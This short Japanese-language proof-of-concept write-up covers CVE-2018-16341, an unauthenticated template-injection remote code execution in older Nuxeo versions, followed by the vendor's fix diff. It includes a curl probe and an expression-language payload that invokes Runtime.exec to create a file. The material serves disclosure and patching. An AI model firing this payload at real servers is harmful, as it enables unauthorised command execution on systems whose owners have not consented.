
CVE-2018-16341 - 認証なしでサーバーサイドテンプレートインジェクションを利用したNuxeoリモートコード実行
SSTIを使用したNuxeo認証バイパス リモートコード実行 < 10.3 - CVE-2018-16341

詳細な分析(英語以外):
セキュリティアドバイザリ:
注記: Nuxeo 9.xはNuxeoによるサポートが終了しましたが、9.x向けのホットフィックスが提供されています。私の環境では、バージョン9.10が脆弱でした。
このPoCは、NuxeoUnknownResource.javaファイルに存在するRCEを達成するために、サーバーサイドテンプレートインジェクション(SSTI)を悪用します。
curl http://127.0.0.1:8080/nuxeo/login.jsp/pwn${-7+7}.xhtml"
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/pwn.txt",null).waitFor()}
修正
@@ -94,8 +92,13 @@ public void connect() throws IOException {
@Override
public InputStream getInputStream() throws IOException {
+ String message = "ERROR: facelet not found";
+ // NXP-25746
+ if (Framework.isDevModeSet() && !path.contains("$") && !path.contains("#")) {
+ message += " at '" + path + "'";
+ }
String msg = "<span><span style=\"color:red;font-weight:bold;\">"
- + StringEscapeUtils.escapeHtml4(errorMessage) + "</span><br/></span>";
+ + StringEscapeUtils.escapeHtml4(message) + "</span><br/></span>";
return new ByteArrayInputStream(msg.getBytes());
}
}